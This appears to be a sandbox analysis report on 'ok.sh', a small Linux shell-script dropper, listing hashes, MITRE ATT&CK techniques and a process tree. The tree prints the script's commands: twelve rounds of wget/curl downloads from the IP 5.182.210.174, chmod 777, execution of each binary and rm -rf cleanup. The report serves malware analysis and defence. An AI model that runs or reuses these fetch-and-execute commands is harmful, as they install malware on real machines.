87215b3e53c7cdcc76e7688eac0eb652562766d475c4a08ce10a9b8fef9fdcf0

Analysis

max time kernel
7s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/09/2026, 09:27

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General

Target
ok.sh
Size 1KB
Sample260903-levybsel6x
SHA256 87215b3e53c7cdcc76e7688eac0eb652562766d475c4a08ce10a9b8fef9fdcf0
MD5 b4e81349241d5ae4123336f3791dc622
SHA1 193bd4f80a079d96482175a285153a8dfff8708b
SHA512 0ba831f81a51c46307f1be2999a07eda9053ba30ef2e872e27e7ad73b93d386319f7edb6bc243ae56e7226d9e1976eccfea3a4a5961ddc2bb5dac6568bbb7e64
TLSH
T1DD3122CE00182A315012CD8E7362744CB68DA9FB599FC7F4ED581EAD868928CF296F59
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
669	chmod
676	chmod
683	chmod
726	chmod
788	chmod
807	chmod
814	chmod
702	chmod
749	chmod
756	chmod
763	chmod
821	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/b41b8f	670	ok.sh
/tmp/0a90da	677	ok.sh
/tmp/b84245	684	ok.sh
/tmp/ce2c4f	704	ok.sh
/tmp/bfdf6c	727	ok.sh
/tmp/09685d	750	ok.sh
/tmp/cc63b0	757	ok.sh
/tmp/0a1d1c	766	ok.sh
/tmp/90c31e	789	ok.sh
/tmp/176054	808	ok.sh
/tmp/b5d748	815	ok.sh
/tmp/a3493c	822	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/176054	curl
File opened for modification	/tmp/a3493c	curl
File opened for modification	/tmp/0a90da	curl
File opened for modification	/tmp/b84245	curl
File opened for modification	/tmp/bfdf6c	curl
File opened for modification	/tmp/09685d	curl
File opened for modification	/tmp/cc63b0	curl
File opened for modification	/tmp/0a1d1c	curl
File opened for modification	/tmp/90c31e	curl
File opened for modification	/tmp/b5d748	curl
File opened for modification	/tmp/b41b8f	curl
File opened for modification	/tmp/ce2c4f	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:640
- /usr/bin/wget
  wget http://5.182.210.174/b41b8f
  2⤵
  PID:645
- /usr/bin/curl
  curl -O http://5.182.210.174/b41b8f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:665
- /bin/chmod
  chmod 777 b41b8f
  2⤵
  - File and Directory Permissions Modification
  PID:669
- /tmp/b41b8f
  ./b41b8f bc
  2⤵
  PID:670
- /bin/rm
  rm -rf b41b8f
  2⤵
  PID:672
- /bin/rm
  rm -rf b41b8f.1
  2⤵
  PID:673
- /usr/bin/wget
  wget http://5.182.210.174/0a90da
  2⤵
  PID:674
- /usr/bin/curl
  curl -O http://5.182.210.174/0a90da
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod 777 0a90da
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/0a90da
  ./0a90da bc
  2⤵
  PID:677
- /bin/rm
  rm -rf 0a90da
  2⤵
  PID:679
- /bin/rm
  rm -rf 0a90da.1
  2⤵
  PID:680
- /usr/bin/wget
  wget http://5.182.210.174/b84245
  2⤵
  PID:681
- /usr/bin/curl
  curl -O http://5.182.210.174/b84245
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/chmod
  chmod 777 b84245
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/b84245
  ./b84245 bc
  2⤵
  PID:684
- /bin/rm
  rm -rf b84245
  2⤵
  PID:686
- /bin/rm
  rm -rf b84245.1
  2⤵
  PID:687
- /usr/bin/wget
  wget http://5.182.210.174/ce2c4f
  2⤵
  PID:688
- /usr/bin/curl
  curl -O http://5.182.210.174/ce2c4f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod 777 ce2c4f
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/ce2c4f
  ./ce2c4f bc
  2⤵
  PID:704
- /bin/rm
  rm -rf ce2c4f
  2⤵
  PID:707
- /bin/rm
  rm -rf ce2c4f.1
  2⤵
  PID:708
- /usr/bin/wget
  wget http://5.182.210.174/bfdf6c
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://5.182.210.174/bfdf6c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:717
- /bin/chmod
  chmod 777 bfdf6c
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/bfdf6c
  ./bfdf6c bc
  2⤵
  PID:727
- /bin/rm
  rm -rf bfdf6c
  2⤵
  PID:732
- /bin/rm
  rm -rf bfdf6c.1
  2⤵
  PID:733
- /usr/bin/wget
  wget http://5.182.210.174/09685d
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://5.182.210.174/09685d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 09685d
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/09685d
  ./09685d bc
  2⤵
  PID:750
- /bin/rm
  rm -rf 09685d
  2⤵
  PID:752
- /bin/rm
  rm -rf 09685d.1
  2⤵
  PID:753
- /usr/bin/wget
  wget http://5.182.210.174/cc63b0
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://5.182.210.174/cc63b0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod 777 cc63b0
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/cc63b0
  ./cc63b0 bc
  2⤵
  PID:757
- /bin/rm
  rm -rf cc63b0
  2⤵
  PID:759
- /bin/rm
  rm -rf cc63b0.1
  2⤵
  PID:760
- /usr/bin/wget
  wget http://5.182.210.174/0a1d1c
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://5.182.210.174/0a1d1c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 0a1d1c
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/0a1d1c
  ./0a1d1c bc
  2⤵
  PID:766
- /bin/rm
  rm -rf 0a1d1c
  2⤵
  PID:768
- /bin/rm
  rm -rf 0a1d1c.1
  2⤵
  PID:770
- /usr/bin/wget
  wget http://5.182.210.174/90c31e
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://5.182.210.174/90c31e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod 777 90c31e
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/90c31e
  ./90c31e bc
  2⤵
  PID:789
- /bin/rm
  rm -rf 90c31e
  2⤵
  PID:792
- /bin/rm
  rm -rf 90c31e.1
  2⤵
  PID:794
- /usr/bin/wget
  wget http://5.182.210.174/176054
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://5.182.210.174/176054
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 176054
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/176054
  ./176054 bc
  2⤵
  PID:808
- /bin/rm
  rm -rf 176054
  2⤵
  PID:810
- /bin/rm
  rm -rf 176054.1
  2⤵
  PID:811
- /usr/bin/wget
  wget http://5.182.210.174/b5d748
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://5.182.210.174/b5d748
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 b5d748
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/b5d748
  ./b5d748 bc
  2⤵
  PID:815
- /bin/rm
  rm -rf b5d748
  2⤵
  PID:817
- /bin/rm
  rm -rf b5d748.1
  2⤵
  PID:818
- /usr/bin/wget
  wget http://5.182.210.174/a3493c
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://5.182.210.174/a3493c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/chmod
  chmod 777 a3493c
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/a3493c
  ./a3493c bc
  2⤵
  PID:822
- /bin/rm
  rm -rf a3493c
  2⤵
  PID:824
- /bin/rm
  rm -rf a3493c.1
  2⤵
  PID:825

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

b41b8f

Path /tmp/b41b8f
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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